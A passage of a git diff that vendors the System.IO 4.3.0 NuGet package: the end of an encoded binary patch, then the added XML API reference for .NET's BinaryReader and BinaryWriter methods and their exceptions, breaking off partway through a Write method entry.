zk~h&7F=|4$&^9q@Mop+nj3mk1Xona*M|V-R7`;aK&~6dRmav80c%K-_lg;P=jq*{p zgerL-9TKN$kq^)jF)|<@qXuD4(E2i{1)UKiMf3z+5hH8z8M-Y-1IU-?5sez8*GhPx zH|U87?UXPB^h|`Xt^XFi6e1}+%ip5cG!m}Vx9F`fjn>fb(0dWWv-KVNBtm$8zC&Nc zs2aUT-^6G?`hdQRQ8W6CkO7|B4KOF<$uEc@Mq1=o#1bO|@;j0iAuPcksGAtclRuDx z7-^A+P!=Ntl0m4^NN5Ey32hn)dn7^VwC4of!y@!V2iP1+$^ARI=Qjr)TM&6_n zF@{DB^cblS;WQHVNQHOly^NQ=}YGQ`M$)Fvi~P_~3T*^8JgMp~o}ku63Bq#l9a*q?!eLP$yU z`lm1heW7ERESyK4rrm*(s25NMGWe4iVZ4x<(Rna!=id?T%AZ5$v8VG7>O^sk1p2jJ zH#*)!OuM$KGlzdA>`U{uubS2%|U&r_77$y?tTu}Hdjn1QkIs8rN8unnDM`%n6U^ZdD1{IgV9N!-qVWmXI4gB;BVQxXYd zes2GNy=_7{{I2CB_%j)BOTjG*w;bFN2z!;{fi|NQnr6{7ho-Y=I*+C$G%cs;2AWm@ zHA8#pa2*|P1d1(TQ(_c(j}AWpYKdOcVQHFvrYVPx??H#9kSbb1NP*99HPD`DJz)Vp z?bSf@X!-{_$FKko_DZ0=ktWau=sHjpBnecDrusDXLIn^Lg(`sdM@Rcz~OM3X4BM30>>YssS}G%W#O1?nwHTqhiH0N819bq z+@&eAhb-h|YvLFunm*9NF<|<^IFN`1R0@3ccqF<(Z{(0Vl1DwjCyc*-c$2flbPHHh z2<@WjBSt!eU()mgO$jEBkzq~%szg&w<`f7U(X?}ZVa_pheCPbax>yoVp_IA==H^e} zaFK)=iO>oOT>D`Fvm#b1HB@VFZjSoYr1Mwpi-pqW87VbwUzo0}9Xh@<2Ed8zUA3{Hi3F~FHH*LDs#u`|Z$G`r3j zx(?B+N26H7hCVmwX7?8^ujXh`?S__3^{Z0Vs=U6^SLm;L1)m5fbIu;qmLTj5fb(Q zx4}C;NjM{Mpd&hvhl|sV#35k<-83QhE(@`fc0#Zcqaygx!bQlX)lhqj#AQ0?cj585 zzT6DD8J_Mueqw~cpU+E=$BGfxCoY7+Z_?Y#Vo9}!X?fBd#UWt_ek$LdAG02uCg2Iz z5$4o^Izqx#;+z(rfZH~Ni&q~^x%PXt~M zii%H)=4PTO(BA?C3kjF!#l%4Uh$qy`^uVI1IQWnCPoikW#wR6l`5g)rCVy&Lf&j(f z{Q$4-Xl|+iHW+%{39AZ-pTI>?zs&gz*lB2O9MwL@@JY8+dJ6z90#MrR@^|O+=*Ii; zq4z!!d{|{MT}Mj@Q3O90`A5JhMS8Lh7J!f<(?IK`qSQzv+69MmV-kQj-q{AHrg9S_ z6S4y11qs}a-0jh>+|($3JiQ72E-@woIzBidJ|gwkR2N=iazs+ruL&@}qSK-Tzb0Uf z0fLYFO;Qk-p9;DNQ;ALz zkD72(x4;d6M)3o<{Pg%JdaHyD7iK=_58+^T)FI4EPsQQT%}hGfsWOqFK#!FmJ~BQ5 zn%_~ny+Z*JFu^IG}WU`Sm8wwLlNC!j^Qh=l+*$gRd2`S-|A%){exFvuKL_>&y zLkuY>uG9md9Na9pW#DGQ-3@MexFzA1hFg|tg6m-^cY~YFVv{mbN+!5A%n?{ZeV8%u zBM8hIc+*i(HAYH3aDp5rEKFoDVPet^6M0M|F_FeZ7WfnL%5oC;0p)?pV{Y;g$1nje zB`pLg7MoDkrbU7uQqpV&{Z!J$GSQ|}m2_p<3^ip#f)<7xn<)+}>EcevD4BpHm9=rx zW!Ow%KuH%WA>o#R8)_k;XQUJxoZ65J3mhOziopT_;4x!j!5TgJq^{iu(bCAbR4`^4dKiT3MSx_YB64 zZn#ju%G&a{yeX8mZ=V_<5Mfgcd^kS-2B`hX)Mi z;I{*OuuJm%m*AsYueYwYn6^=2Yn$AYmbP)vi)MUfq$lKgm(1_Az5nB-*Dv3yYg&52 zPDPiTE6X47IeXF6qxUitiy9;|{7hS{bV8_fW;Fmefs zfR+S4cK%B|&gTL5$Z&*qcDzwS*al*Q;LSM#Z4yAPc!-bv4X0M9n1Eil|Fc1nSO#!}_$ZmC zoqOO)*WccASEw(QE*lSdJNNUi+T#QxO^Ev(1U&e_r9(zG&;tr?YoONPmvDeE2mBBY zaFPoj%N;tM z3&_oe^I2Hd>`r`AX@up2+n5eC8v21Rp$z>*dGQRu?QfSUMtEfZdQ1c1>>mL>BRp!+ z;Q5JymUl?tcVoI0+G7EE+)yBd+@Ykfo(y`7L4`oO@VIp4`Sa-f-PqWJ8X`a%V9Y`v z5@FURfOOfgV!DoUJ0CpGcwYbi>;FLsI0?_YpToa(`v2Gea}uC`<3^H*%5_}Bk~Yit z$p0uuNRnl_j*B2_9!U@!SxTBE(OaHDYDyr=nMFK>}LHcsZsZ2$Wk^2>77%&A;v8I{YJS;im;m@E}?L;y#HQepv+QjrOcNR0!>g@BjDQKaN?q@;@E zaBg%WFDaVSi|UDEWK@1{Pjd7rU7XHP=`bq6VvOdp@vAOyW&67frh0Xk<8U|>hq9uq zt*mTA09sQJA%av+-oK@7a+EA?o2&}c$IpLwdsi5L(iJL~(CaKS0)A+bODMp|5;9~i zL7D~f^*M`{frMM^mbmZl}dYGkX#gX^;JQyCq*s> z(IFRSOrD$Ae{=fjV7tjJHHtx-m$c3rV-el3%}9D|uPC+GjsR9yE8iu}WSKt6c53*JoVP-9BK|E=j+u z1{+@%zTa{E%V!6_bx+=G8#Vmht-+<1O36`8Pj7F0ov6!H46xq6-LL*$!1lr1AxV8d z)I2FwA3Sfo#c1jXoMS@7>Rdt_B+`RY0nut3GP_YSEGd}L5)zUO2BnQ7<(cYCRjuLj zZPe-R6Bl->k0cuV zT3D;A@AY0PqeBJZ3_46d%7^kQ^DG;Z?-nNzB=@tljN&I)B(}fcSVZv>EtAK`<5)}h z^(^-Lq*}ro3`|6rhA;!eD0_2jj=2>~K?}%4g|xRBUbKBFZ)#{erpWw(qAD^nGJaPD zm;aZ%1)Zl5EIXJ&1gaQqm$1dRG+y~WuYfF#&p470%{Q5O-O(+vkH*AHCYCDAqsD0+ zmbKYk(Droi!sn8lN8{e5F)yyWF}5FTg<{(VxdY3Fx$u6(E?jo+?4(wMO50O;V_x1k z#Iy4}6e1J+A@$yhxA&#I`wz4{b>Z|&KfUCSOdWEqSLvRj(3$df3lpp*_iWfQtnA$3 zTXXc34;;CZdo`&1V^eDdJ6KV1`OD4uf`pXPy4E*`lgF;RndsAZWQk9f(>a?lA%a12Qs<2+EfB93j`{cVXqn6C|8Yr>evQlHms5RRL2h5R@P&7Ad?8ox% zX|aJbEGT;O(o>s@mzWk5&zg&h1O5PqB8z1dO(++XrQAs zI^Jrr>)t#-5RsVNp`ob0R<>4@jTOfMYbYzwPwkM(+3{~_*-skEm@_O4rpB zHu(gl1QcX!?7LtJF|chDxjJCOkMmV}^=R(nw4|3BEjjWk_17ZML7lSn{!BS$J+o~6 zHcDzv56V}YNhi{wcAf~nJ06P`An^O}&Gbn>EFxRmOwh3iKT>eo1kJvq^Gq~_!k z1@<*Z4m-qMGasp`|H4dBDug{dx8lY5Vz>FzPaWx-cSml?r231y?v?~x%anTmP+wOv zGCyQoe2=!|&jB_$9}PJ@@@M>UXvEUCjo!9uZKIzoYTOjC#5Al=#XUoX==wL6#%b*u zO&TO6(Mfq_=|3))J2;|GoQ7#+ZtRt}_w4LLx+p7sn@`t=yC=)MaQd45bw}^YBepvf zs6e5z0#!wUsw#8Kclj?VE1|On&r5n*g4Uu{)yQ_$1gZ)Y73I;6K~)X-XR7MAoCUwr z;8H&=NLqUhIh>v|n$yI)IH2UsgoG)@D*k;Wx@#%!aV@W&{VwS2flA$-(TNc~uf1$} z_J00LmsJ|BN4|V{wPjc6)Z#?1YL~CZ5t&kfld3*%TOzYlaCBpfx&P70-zWQ)ms~M6 z*}e7JovNZdy*X#zW_^oLO{{%(YFg!;)%!fK2kfucx{x|m;2>k_TQPlm>VBZ zxhrK!v{B4~`q!b6HS^v%F7t9ma%b%&REGGx_*93&lBoOkp+X(!Mc*D0qwP>U3*y@Y0}z@^OLZsFxse+k)CffYr&g7(L@h* z2JB3n9@xa|6e%sDUfZE?J75?8Fbu7aN$^t$`P2W_?s`DItq!+K@7*>7l+sxh7^3R=d5f`b9myU>^C}&GGSODfGd;e8u_EvyB2;CTtw~ z#{F#H0ro3)W`tIBUr~5csVHbb-Dc@9#>IA3GZs`$2&I5kg$g!=Bq#q zGQ0JX0f$=}I5%9-;4aEdesgZPQ;>1-LqnBsX7^+Q7L9tahVmCGH&1E^dh8GN8FTnLz>x(4ND2IVljoi0A z<2hAXRgZfnZ<(~-^W(Fyv=`p}&9Ay_k^O%1i8*Jr{;5g+OR{yxY<9Ht-nVLf(6al< z`}geplvVA?|2XjJ;Hf9>b?Y8~vSJzA{EMvr(V)}j_lI7nNq)RuZWW^<=xwsdxDm>2Ix;WTa(*!LGwaM?KjQ7pJtbzXi=${=X+f1LJ@zFSxRE5 z=BJ*m0as#A>HP@RKD}!80psmiQ9-V&hMoTWWcA3Prc%<))iUhejjfk*t&+a2S)}sd zS^VP-tNI)~-djR1^;h20Bt%kIY?@%t*j<5dla&HX%ld!e;Dx0ifDlj7~@cf2$1mo9dHl6921 z^WxV&cXSF?Y?k?|V(hf#!RLD$rn>K!3?IS`ck-=te(w8XM|##Z85`-up4l9oX8FLT zhvi=%4pH0^z2t|#y2Yeg3Ec_Jiv}CVA6ZbesIl-`sqR*}&}FTww&us>bsJ~CKYcvX zUcBXv`os_Fc?NrDo*lP-2*+~it@|mCSJ9NnA?MG`Y}}*qMV?<+x7u+V=``*~eCgt5 z#r29i`}#{=IpRp=vLr!&ziQXt>T%e$4u6K=KcT;=zLX98Wdeg7?InlyY36keWRciwx8fMP2>le`?b zNX>Jhmh=3rOF}858)$sX!~@S~Nh*AlXTq!ODV>wn1~Znwc^BKW&$o$>XKFuv?7Orl94!G=+WF7pw{HKY5s%9h2t(~*F9SJhGjXO@noKvfnM_0 z58obSmRQJrlx$9}(ePb9XS@u5(VlXLWwGY(xEopZWeVwcfV(*wwYqY9`A%PrMYs*L_Ky*q_M_9ZhtX zQI)@NLv_jf0efRc?l8A}{CRr*sbN7a%aa!-YI~invso; zy%KeDTV;>+*?-n$$HULhCs*HJvtD4k$G1L3U)d;KcEIr2DIxAIsx>=yRQkjoU+MfK zJ4-ivg&Gyp;;cMY^Y{uq-E%HadOz9!&f`>{OV_Njy^YK~48lU52EAH)yJY!^e!K%Y z#sZeo%XHn^(%d@Zz+F}29A}lMN9;^0S6N%TaY(B&udTo;Vf*(x!;a6^Z;UyxTziIc zH0fx*ZB)^o2f7cdD^Eo2%nX#cG}yv_^TNuC%uPGW7N==mpFcw-P0!M5y;M@!=-Gy~ zWv`~4(7p1kmtW)3m!5Y&5?tOa*~!P_k3UL!x~}*P$MlDM{piqZK3e71zF4jpWHCa0 ze51YS>EZNT<|Ob*z9pJg9PJbW~uM5n&4Kff|}%V`$JlydLHq8rDavMcMEt@-C)UdzEV zC$h!FRvdP>b>2F`QOe9E(DI&tEI4-b@yNLF2X0meJfmect$w=6VA)8` zd86&k3lmAHS(2_gS7Xi{Kl=7U-2Egb>)qLAr*Cc72)kiPXAQTXy40{=aIJUJZ2vW} zF3f<}jmrL#%F45hUWTy7$4iEEuT@vw`(x*`o19w`xdSg)o$a30yx*+idf3A(nQy}u z=6ZXY#qOUU>ZNpO^Q=A8l_P@=etPt6lXcU)*2^i2b|$p8-YQ=eW$*Rzs?F`*dEaCd zqCT1Qy1dJ5ar}1EGqe84^(u^eZlLgG_f*G_@?67JR4&M@H0Nv3#O+R7MviNi zcKWfYVP1>ch?{oaezNt%ya(||qh1b>3w)Y<+-aM3Y+g8V?oKy;*o34Ox7igbXP4e? z4%yayR8!y0*T+4*e1vc5adKPqmSy8+#`&>dBIRFTwiO zQpwy+Ra%dyuK6_g@tUK(O<%c%oTzv`BG@!W?I5%s;^+&{Ya*cJC( z`&-Q(t$OCM6iLKy2zpjHf2-Oy^T6c;83`Ns=5fvoHuv-&;uLvonyq`wzO7Z|1KU2O zWfBulo?WrPNx4a~wf@sgha#y%-M-!%Z&)mlOQ&-6b2?TZli=j)r$AhySl0Nnkv_a2 z>W9FD;V57chUa?_Tn3YbHAaPY6oyYn*lqo%pN?qPM5nS$c3iyd(9ykf&stR4Z+IEq zs5AX_@U5*qrB)QMUxX(qMtm*Hl`{iJ$9gc7=e8TlEE{FoP-b)`0m$h z^VFEgc^~#wzdpnsQ)PYws3iA{O8r98Sac%o7D=mdvPt2O-U2i?RU6NvGsyH_x zmKR@~(q~KcaZL}KGdT{|VRQN}bxm#R>(80aDxTjrNe8eZwr%|OL4VE&x5|?>Ejibx zq&?4@=r#MUPj$f*ORJzgy^L)$ydz|x zPes>{Q@>UrfStYFK}5posZL*VVfis~!IBNRsCU}hx*K&|diTz)uLOI}z8J&5bauT_ zALpPKOhN5YLi??S^)2he>hc%Tbmok!Tce3qs|f|`+j7N*BtinYko}swyEU1Tvpz6R@$q0M$_RDCYv3;?pC|AD#U!umoNRh-8uGbpvAo>$tiq(*{HrH ztgOMMGLLtCCTp_$Rhqoaa!px&O;e$!Wq{7mjR$Qb%{YcJU!QI;Jn6dmoQqHO{`;r& zj=DW=&5M~*VpPi_wmR3AHFJAdf(|yxbFC*)#n#K=KxDY+W z=mWpdqGoi4!sdmZJpI(7B}F;WvA6Ym6fUfdp5QTN5_h_`%ZYHa9t}nBuQ_M3Hb^O- z>20K}xu0^&Htmsisyw%7zvc_ODJ+H4yT9(}r;I{AY}YUw^C--yDk1XC9N({tO7dQf zUCtyY=IuCk^64Xsy;SubU-{86>%zEfM?`s4+%39OaufXB}} zn);4!P`)PHYJa$dRe9XuGNH+;i`8%=Wy{B#r2NnBaNRxT+EEKe+NQX-CllZH3oTcF=f3Z* zee~v}Xxq%SWl;*|7o8S-x_?_z?s8~Wg{SFbxr1dY83z|SzWREe7nW!DdG8xEPuJG)h(l8J)PQ}<6t?uxpLX)yK1P1w$FSCO!)s?RoKbT~S6~>X zVY2I#v5CFm5{IF7XD3z7-`Z1u-G-Rw5jx}UnRqS_o7rqQ=Ay3Gz~M)$g9jNfTF*}y zZFyP$e)1TFVeT0_KB0Rxo5|d;n}^hP9MHNn!t1d^xxy2D&l-(Au9Msz)E(hZxXXWR zaHrP2r2f_6p20Ws3ZMIUQtLL&x$}JV%5C48Dr1`KigPBuxbnj5v8U-e6_d5=CdXz! zDu~Ps+ip4SYVfkq+6)tu*Dn%}m=yIXa_Z|>cW=7utfSK2^_MDKECq``CVk3ekL;r| zCVbJ-fqvH0ZdA_fetU)QyTz3??qvx}F5JB`bGFzE^a3`lC)BTwoQ~5Ezuk=f!u{UG zL-fnXfzHPy_~!jc&RmzhsuI5Uo~}E_Ij=v<297hpZlS}3orv-)^C|Pn_x$J1d04)% zZoz*JpP9rvQ5a<%W@SZhc4ON&H`wfkQ~s21JBH29`JcJz|AN1O%2|mU&t~QnQ#lK% zoOxpRm<0puIBHOPbtIu~{a4lD%{!VGl?n$y;OCqCtf=Hvi#S0dA z&W6#4gA?eZ!&z{!8XrE!2ZiyWPvNm-3%2&}cHh`H`4vm<24-nmT)ZZT)hm@iKqn^B=>{Rkn@4KTy)bwDggqR>h@i?Tm#E%}=5mT^%zg=)YB&ymqc2 zukhVTBhuaMaDn3fH5(+lmA;7k5@)ff%xsX^_>rDbI@0k;AxjoN$a{CF=&gJ2+u!=1 zJ7D`N$#Cn#ZN@LoHNBPJR$@}T#7Evy_Kno6D>_H4G@4uM&CiTpvD4E*ra|U#!@I9=iA%x>D|bVAR{<3TZD7 z#gc5DbI7#5sRM4tm zl^&NHeOMAd?(?3dUq^S7_DMHCb+&8XbX~~c$j1||bZ`K=(bZTqTmfU=9 z*}b`Q*yUL*#p4EjV7^JR95}Lf^xmtVvOWxHS@_Y;P|#A*|J40^^US}ONP7k`uk!RR z_K+#ulQ?hi^zZ8ROKyzA_RK0gixeqCez)Vt6rX^MN{fD^OJb5*RUTontk zSAf9)mx4+!h|?605_T!5$U>APNicqODdZB4EZO$Sp$J}uT%r%SYD{2*Gk|#_Vm)n? z41<89b6x!rOtx?9`;pJ{zJxp+*-t`#`zh&7`=fc<9&49vfBaxlM&0?RB+Ku9--vHz z8qm;A9wa*pd;7j26tsxQCW&`tIeXXS?D~(Nu(Ia3*qU2Y&V$YSx;SwD;R&muoxzAQ z5WX{Lcf2!nJ%@+i6DXK`zuMuQ58`gnmaEB7D(J_4{!OL${gJwIf^kMuIj^>)hf7aXt$#DYOor2X!sq zZ{53F(FfKLb!_PcnWw+i9BOnOGgf^WA>pUz)9yHV1d?k0OFQ&(RKL&y&fK>y6DPTA z)mz7fOivu~SI0p9xgC1>L(s{hmQ|sVapxTu&K-UA%ugvDOC1I%{yp74GC(CC%^W7z+;DfvpqvzjldKa!-kbcU^X>jSS z(C$A%KacHhyTl;KOYq8B@%XmdsSQ)#^qm|ssOOuKtfBLUqiyyI-QQbg<#4ZWs2=~| z*qIL}CLo>{%bS`9UB8?nvu`>uy`toKKTExj4+^yKxK zl9;)(e~gQq+EhPOcAinQ!}A_PQ=*nn)J;6HZ1t)EU#3o8JZ^60+QbX@mVMU#W`Awr zyM_vx#rbOvtkB%bbk5sTon5MD&#pFn82$X?yV@yHqYM=$SU3cyuS(g-Do~iEzAs{( z(#fUQl5r?ubhnNIY|{;D<0EYM;5=o`o7MwCpL zk=kGC(Gv5gg?Ftjluh3svJ5oV{djz{?+ueZRU2+D-oDOxRpZ$ngMIGie>PjXS}BIQ zxL;u9bth`#`;r1ntz){|MpbXUTYCHAF=c`=p7{4dW zd-brltT{VU!s3-&nZNCgSJK8kFYlOQ+e>QS4ZE8c!-{STW_l{ahI1ZV^?Tbl9m%Fd zdefml8i+P@0=w$}vzi?L@B^=92iRw9t!;#kdK(OFF#O-S>HqEibS;MG{c7!Zvtg$4 zO$>$fqM3K9XZhJ%-t2KgwK_iIVgG8GgouHj?|0_bnRzrF+o>)m?eKQXfD+fx4YO27 zm)OiQ{?S?(((l5M?Uvbhj+H$+JbsGa=GuCSRd&rm(tJqMp|l=p@>|>r=4(ybID8%R z_{cM#sB1y#Q^Kq(9sG;8$XZ(Ms1r;r^-Es7T3@xh+JG6o4{4u`nd$33Gt}twke)e{ z41(qMY1D5TRDIyxY{0t<8LlkZjna`kKXqj;8JEaE#}SY3wh<$-N#ueFRj0))4o4x zfuy>3I@;(~&-bj!3W}?|aP#yZ_qXyVM1Gsy#fSgf?do6r4G0(*aGo0f21K~2fESO^pTC`(@a?v7ynbl-egi68kEZO5u-MbOPw<_2Lw3@O`fp=*MO|o(+w%S82LIbqOKrJ5ZY-6zSee4& z6-OQn+qJ>@qN(HM32k$|D*kxw6J76-nQ}UL)e$u4;`?FT{kGguEzf0SfwMINzoF*bFaKZsUa-ng2Kvx( zu7jb5(vH?mB8O`<^sU*ufBN}^$`m(U&9a=sR8H-hoEj=;@4v<3{@dS|_yz{hzb|p7 ztooX}*ty%Ab6oB1IlU=Up{1_Z)lz2%@Y48ET((aH{H+;2+Xer`d1E8J6yN* zEIqQ5E3h7=sI}?CwHtS0WnVh%b~B18S`nZ!{oecM=T{tfQ$1XnGVTSZgSD^CJHOsy zXOZ?a8$I_;PBoVvFP`yn-oCWw>L1(*IQLcKw*TUkZ*HG;O!si#+G+LKqol9n91s_F z?}6Sx6|eK9Z9^Rk3QI}VLE~DK7Z>&7hF$)AddK@VDW$c3zQ$Q5eUAyW47W|cU1iL& ztWb}*HaTffx1q<&Cu>wL7;tQt&iIe7KkZ}Q4Vk6A&-=pimxVVPJakE!>p=zky?tA+ z*CbRtQjZF9E@k#PT{vXmiKD@DKFv*;Xr7o!a&mUx{T8qD!ZcTPmtfba@oTmhN#C5h=MY9t`Sd57moDYliWr#}v#s zDyx;vw9~lzLwd`Zs8l)arazn+{X#ZSIoCTeAiHsL8mXKHD(485v!1E?yHyKs2vkn? znkoMm$p}t+<=YJK-a4tbV9(6jjn`H4o))jVu&(nwhfM}NJ7}K3nDUf0S|)SI_PkW# z#dPW2FXk4-+Fn_f9m9OQQtSJj!=Yxrc9HjWKAE0)XLwy}jXFnRs;kV*Gdqqi{amN< zed0*v5gChnC0nz7B$z(u#|+o->hG|>xV6~bXx}ju;dmx^-o*(uR|Z6vUp%_>T8a8R z3#rE01$Sx+i=RZze(`R_+BdiUSpD>D$&ZhHMx4-kr|9zJlV$B2%^m3tJ(y-an|ACd ze!p+l!Gs_k+d=EMww-L6z_q`XuQO9|x9Zcy{ig()bQ|<|;ACfOBcrhER^Q7ehlDk% z+}5*cse3;COTUE4x*nA68M6@A$9K(8=DFp&*P5Yi?Uw+A6cM} ATmS$7 literal 0 HcmV?d00001 diff --git a/packages/System.IO.4.3.0/ref/netstandard1.0/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.0/System.IO.xml new file mode 100644 index 0000000..e011350 --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.0/System.IO.xml @@ -0,0 +1,2151 @@ + + + + System.IO + + + + Reads primitive data types as binary values in a specific encoding. + 2 + + + Initializes a new instance of the class based on the specified stream and using UTF-8 encoding. + The input stream. + The stream does not support reading, is null, or is already closed. + + + Initializes a new instance of the class based on the specified stream and character encoding. + The input stream. + The character encoding to use. + The stream does not support reading, is null, or is already closed. + + is null. + + + Initializes a new instance of the class based on the specified stream and character encoding, and optionally leaves the stream open. + The input stream. + The character encoding to use. + true to leave the stream open after the object is disposed; otherwise, false. + The stream does not support reading, is null, or is already closed. + + or is null. + + + Exposes access to the underlying stream of the . + The underlying stream associated with the BinaryReader. + 2 + + + Releases all resources used by the current instance of the class. + + + Releases the unmanaged resources used by the class and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Fills the internal buffer with the specified number of bytes read from the stream. + The number of bytes to be read. + The end of the stream is reached before could be read. + An I/O error occurs. + Requested is larger than the internal buffer size. + + + Returns the next available character and does not advance the byte or character position. + The next available character, or -1 if no more characters are available or the stream does not support seeking. + An I/O error occurs. + The current character cannot be decoded into the internal character buffer by using the selected for the stream. + 2 + + + Reads characters from the underlying stream and advances the current position of the stream in accordance with the Encoding used and the specific character being read from the stream. + The next character from the input stream, or -1 if no characters are currently available. + An I/O error occurs. + The stream is closed. + 2 + + + Reads the specified number of bytes from the stream, starting from a specified point in the byte array. + The number of bytes read into . This might be less than the number of bytes requested if that many bytes are not available, or it might be zero if the end of the stream is reached. + The buffer to read data into. + The starting point in the buffer at which to begin reading into the buffer. + The number of bytes to read. + The buffer length minus is less than . -or-The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + + is null. + + or is negative. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the specified number of characters from the stream, starting from a specified point in the character array. + The total number of characters read into the buffer. This might be less than the number of characters requested if that many characters are not currently available, or it might be zero if the end of the stream is reached. + The buffer to read data into. + The starting point in the buffer at which to begin reading into the buffer. + The number of characters to read. + The buffer length minus is less than . -or-The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + + is null. + + or is negative. + The stream is closed. + An I/O error occurs. + 2 + + + Reads in a 32-bit integer in compressed format. + A 32-bit integer in compressed format. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + The stream is corrupted. + + + Reads a Boolean value from the current stream and advances the current position of the stream by one byte. + true if the byte is nonzero; otherwise, false. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the next byte from the current stream and advances the current position of the stream by one byte. + The next byte read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads the specified number of bytes from the current stream into a byte array and advances the current position by that number of bytes. + A byte array containing data read from the underlying stream. This might be less than the number of bytes requested if the end of the stream is reached. + The number of bytes to read. This value must be 0 or a non-negative number or an exception will occur. + The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + An I/O error occurs. + The stream is closed. + + is negative. + 2 + + + Reads the next character from the current stream and advances the current position of the stream in accordance with the Encoding used and the specific character being read from the stream. + A character read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + A surrogate character was read. + 2 + + + Reads the specified number of characters from the current stream, returns the data in a character array, and advances the current position in accordance with the Encoding used and the specific character being read from the stream. + A character array containing data read from the underlying stream. This might be less than the number of characters requested if the end of the stream is reached. + The number of characters to read. + The number of decoded characters to read is greater than . This can happen if a Unicode decoder returns fallback characters or a surrogate pair. + The stream is closed. + An I/O error occurs. + + is negative. + 2 + + + Reads a decimal value from the current stream and advances the current position of the stream by sixteen bytes. + A decimal value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte floating point value from the current stream and advances the current position of the stream by eight bytes. + An 8-byte floating point value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 2-byte signed integer from the current stream and advances the current position of the stream by two bytes. + A 2-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte signed integer from the current stream and advances the current position of the stream by four bytes. + A 4-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte signed integer from the current stream and advances the current position of the stream by eight bytes. + An 8-byte signed integer read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a signed byte from this stream and advances the current position of the stream by one byte. + A signed byte read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte floating point value from the current stream and advances the current position of the stream by four bytes. + A 4-byte floating point value read from the current stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a string from the current stream. The string is prefixed with the length, encoded as an integer seven bits at a time. + The string being read. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 2-byte unsigned integer from the current stream using little-endian encoding and advances the position of the stream by two bytes. + A 2-byte unsigned integer read from this stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads a 4-byte unsigned integer from the current stream and advances the position of the stream by four bytes. + A 4-byte unsigned integer read from this stream. + The end of the stream is reached. + The stream is closed. + An I/O error occurs. + 2 + + + Reads an 8-byte unsigned integer from the current stream and advances the position of the stream by eight bytes. + An 8-byte unsigned integer read from this stream. + The end of the stream is reached. + An I/O error occurs. + The stream is closed. + 2 + + + Writes primitive types in binary to a stream and supports writing strings in a specific encoding. + 2 + + + Initializes a new instance of the class that writes to a stream. + + + Initializes a new instance of the class based on the specified stream and using UTF-8 encoding. + The output stream. + The stream does not support writing or is already closed. + + is null. + + + Initializes a new instance of the class based on the specified stream and character encoding. + The output stream. + The character encoding to use. + The stream does not support writing or is already closed. + + or is null. + + + Initializes a new instance of the class based on the specified stream and character encoding, and optionally leaves the stream open. + The output stream. + The character encoding to use. + true to leave the stream open after the object is disposed; otherwise, false. + The stream does not support writing or is already closed. + + or is null. + + + Gets the underlying stream of the . + The underlying stream associated with the BinaryWriter. + 1 + + + Releases all resources used by the current instance of the class. + + + Releases the unmanaged resources used by the and optionally releases the managed resources. + true to release both managed and unmanaged resources; false to release only unmanaged resources. + + + Clears all buffers for the current writer and causes any buffered data to be written to the underlying device. + 1 + + + Specifies a with no backing store. + 1 + + + Holds the underlying stream. + + + Sets the position within the current stream. + The position with the current stream. + A byte offset relative to . + A field of indicating the reference point from which the new position is to be obtained. + The file pointer was moved to an invalid location. + The value is invalid. + 1 + + + Writes a one-byte Boolean value to the current stream, with 0 representing false and 1 representing true. + The Boolean value to write (0 or 1). + An I/O error occurs. + The stream is closed. + 1 + + + Writes an unsigned byte to the current stream and advances the stream position by one byte. + The unsigned byte to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a byte array to the underlying stream. + A byte array containing the data to write. + An I/O error occurs. + The stream is closed. + + is null. + 1 + + + Writes a region of a byte array to the current stream. + A byte array containing the data to write. + The starting point in at which to begin writing. + The number of bytes to write. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a Unicode character to the current stream and advances the current position of the stream in accordance with the Encoding used and the specific characters being written to the stream. + The non-surrogate, Unicode character to write. + An I/O error occurs. + The stream is closed. + + is a single surrogate character. + 1 + + + Writes a character array to the current stream and advances the current position of the stream in accordance with the Encoding used and the specific characters being written to the stream. + A character array containing the data to write. + + is null. + The stream is closed. + An I/O error occurs. + 1 + + + Writes a section of a character array to the current stream, and advances the current position of the stream in accordance with the Encoding used and perhaps the specific characters being written to the stream. + A character array containing the data to write. + The starting point in from which to begin writing. + The number of characters to write. + The buffer length minus is less than . + + is null. + + or is negative. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a decimal value to the current stream and advances the stream position by sixteen bytes. + The decimal value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte floating-point value to the current stream and advances the stream position by eight bytes. + The eight-byte floating-point value to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a two-byte signed integer to the current stream and advances the stream position by two bytes. + The two-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte signed integer to the current stream and advances the stream position by four bytes. + The four-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes an eight-byte signed integer to the current stream and advances the stream position by eight bytes. + The eight-byte signed integer to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a signed byte to the current stream and advances the stream position by one byte. + The signed byte to write. + An I/O error occurs. + The stream is closed. + 1 + + + Writes a four-byte 